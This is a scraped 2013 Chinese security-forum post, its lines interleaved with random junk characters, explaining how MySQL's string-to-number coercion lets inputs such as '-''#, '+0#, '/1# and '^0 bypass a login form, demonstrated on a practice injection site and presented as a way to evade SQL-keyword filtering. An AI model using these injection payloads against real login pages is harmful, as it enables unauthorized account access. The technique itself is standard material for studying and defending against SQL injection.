找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2100|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
3 E2 J4 N/ s! C8 s1 D0 A有以下表结构:
6 F6 ]: ~7 k" s0 X: \5 p
3 p4 M1 r4 z; P; Hmysql> desc admin;
+ _/ e4 |2 _) G, ~5 Z+----------+--------------+------+-----+---------+----------------+) }- w. U. w# p7 ~) L
| Field    | Type         | Null | Key | Default | Extra          |/ I! C$ @" P* a
+----------+--------------+------+-----+---------+----------------+
: R6 o5 t8 f5 g5 ~0 w| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |! Q& F" K" a# }$ o4 c* e
| name     | char(32)     | NO   | UNI | NULL    |                |- P1 P: I/ @* P1 `; }
| password | char(32)     | NO   | UNI | NULL    |                |
+ j/ n* {& T; K3 m) U9 J) i$ ^+----------+--------------+------+-----+---------+----------------+6 @2 G6 c7 G- Z* ~4 c) W- T3 m$ c: g
3 rows in set (0.00 sec)
  i. G+ p! ~# o9 k  n2 @( \执行select * from admin;,成功返回所有记录内容。! |0 y. Y5 q; z8 ^

1 B( M6 l; J% Q& V9 t6 D* @" t( `# t; s0 H5 b7 w
+----+--------+----------------------------------+3 v) k) Q$ c. r' K
| id | name   | password                         |
) f: X0 a9 F8 j+----+--------+----------------------------------+8 f: F( G4 z6 P6 h$ U2 Z
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
; B" Y* j$ z+ b7 L5 }, g|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
! B3 {5 ]+ a1 t  k7 x|  4 | n00b   | ff80e8508d39047460921792273533a4 |
! A( t) l& d9 g2 w  V) e  @, I+----+--------+----------------------------------+
- a- z; ^- ^# S+ r3 rows in set (0.00 sec)
+ t) a' S& P& a, A' }7 l  c执行select * from admin where name=”;,没有匹配到任何记录。
7 r9 _7 z6 I7 R$ p+ @* c9 u5 a& j) R0 K2 G) L$ b1 }: h
mysql> select * from admin where name = '';
* p9 T9 O  w; c8 d; G3 x/ l' uEmpty set (0.00 sec)
* e5 ?; ~% G- \8 w那么我们来执行select * from admin where name = ”-”;
- [3 W" w; \) R4 E; U' _
# d* E# O7 z4 k( K
. v2 l1 s9 T8 B; e+----+--------+----------------------------------+3 }$ B. e/ {1 ]- D7 o
| id | name   | password                         |
1 P9 Z) ^  W% h+ o' L/ D+----+--------+----------------------------------+
: F6 V, S# R1 H3 c7 F) n|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |4 E6 Z2 [/ m& M2 M, C4 i7 i! j
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: C2 V4 }: N2 \# {$ v. t$ K|  4 | n00b   | ff80e8508d39047460921792273533a4 |/ e; [6 d! @. g
+----+--------+----------------------------------+
' p" l- K2 J% o* \  a3 Z3 rows in set, 3 warnings (0.00 sec)
3 }, k6 `( ]# C7 D可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 1 k, U5 ]$ V3 J% \) R
: R) [3 Y2 d) E# D3 [
mysql> show warnings;9 L/ V& J- m  [
+---------+------+------------------------------------------
* ]+ `& I/ O6 k1 M- j# _- ]) e| Level   | Code | Message
% s4 E8 K  A/ i- g, c, @+---------+------+------------------------------------------5 @  b2 M# @" o3 [4 `" R- M+ ?
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin8 ~5 r) \$ y2 k4 f7 X8 B% R: P3 G" m
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
0 V1 @3 h9 O, {! O, h; o- n) v| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b$ H4 q' S; Y; b. c+ l* `/ z+ v. n
+---------+------+------------------------------------------
' v3 {9 X9 H7 \( ~6 {3 rows in set (0.00 sec)
3 d; s' v  }; B9 G  M$ W提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ' t4 b  H; Z: \5 P$ a9 Z

+ l0 T# o( w! ~  Y, P  Emysql> select ''-'';- |! J4 t1 z' w, u
+-------+
$ P1 k4 K) T6 W3 }2 R| ''-'' |
  {5 V3 B( x: \- V4 {* |+-------+: v& K- ~% |5 J  F; l
|     0 |
7 Z9 U: s/ q* O$ h7 G) X+-------+$ r# O$ A! J9 A7 v" W: d
1 row in set (0.00 sec)
/ G- ~0 m1 Q; f5 i8 \% ^: K  F8 a返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
$ y* Z  i* V. K* B/ v- K7 i
1 O* T1 P8 u* V) u# C$ t0 Fmysql> select CAST((select name from admin limit 1,1) as DECIMAL);! [9 G8 U8 N/ M4 G! B' ^
+-----------------------------------------------------+
) l4 t0 \/ V+ V8 A| CAST((select name from admin limit 1,1) as DECIMAL) |
7 P6 n2 Z3 m: ]. B7 k+-----------------------------------------------------+, V; o, u% Z" G# f, ~5 J. m
|                                                   0 |
3 v4 ]; t9 Q% ^1 p- }" V& U/ q9 ?+-----------------------------------------------------+# s8 Z1 g/ T% _* F6 y0 r1 [9 T$ n
1 row in set, 1 warning (0.00 sec)
" K" O- b& L- F3 z2 {! B# w因此where语句构成了相等的条件,where 0=”=”,记录被返回。
6 Z  x$ I+ R; |' R# ]' t
3 U" F0 v) ]% ~7 _- GSQL注入场景: http://www.sqlzoo.net/hack/ 5 b% y3 m, L* C: d

# r5 e7 P; ~  x" L% O3 l5 x1 x2 z; W6 D) E% S
7 b9 e7 l# j2 g4 M
; H/ f% ]( w2 G9 c
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ z/ y6 Z0 I& x1 I+ d; F9 q# |! h
* L3 u% d6 o9 j: I' D: A; b6 a
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 9 s5 O. T% _: e9 r' y; E

) C; o2 G5 B0 l1 M; {8 `2 j' j4 [4 Y) z- x
" }+ }- X$ M! [" a% \& l2 T, Q# d4 s; P, u$ ]3 O" i

( s* H- D: A$ R  y仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
. N" f6 t. B! I& Q0 ?! h% d3 D# a( l$ {6 o+ ]$ a
   ( Y$ |: V  `0 D* x2 t# ]' u9 E

$ H9 i1 p& p& _除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 ^% J3 P$ n/ z6 c1 B- L' {1 m* W# ~0 [0 T) i+ x0 b/ X! \

0 [+ q' Z% u5 {+ E! Bmysql> select ''/1;
# X" @& e0 v. `+------+) V. y2 A/ I0 d* s4 M4 [6 E6 N6 x# G
| ''/1 |
( @# }2 s7 e* Y" L& {' v5 O+------+" ?$ i% ^- _  [7 e4 j' W) j7 y8 L7 P
|    0 |3 H. G! D# H; V8 l8 m; `) D4 D' }, n
+------+4 Z7 }" H4 k# g" w  ?
1 row in set (0.00 sec)
# a6 [* s, Z& P; \5 K! {3 {类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
0 ]' t% q% P6 L1 d4 L/ J2 c" D5 u* e  T# |( |8 \; L
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
# t) ~' U' I$ X1 E3 a5 E. W) p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表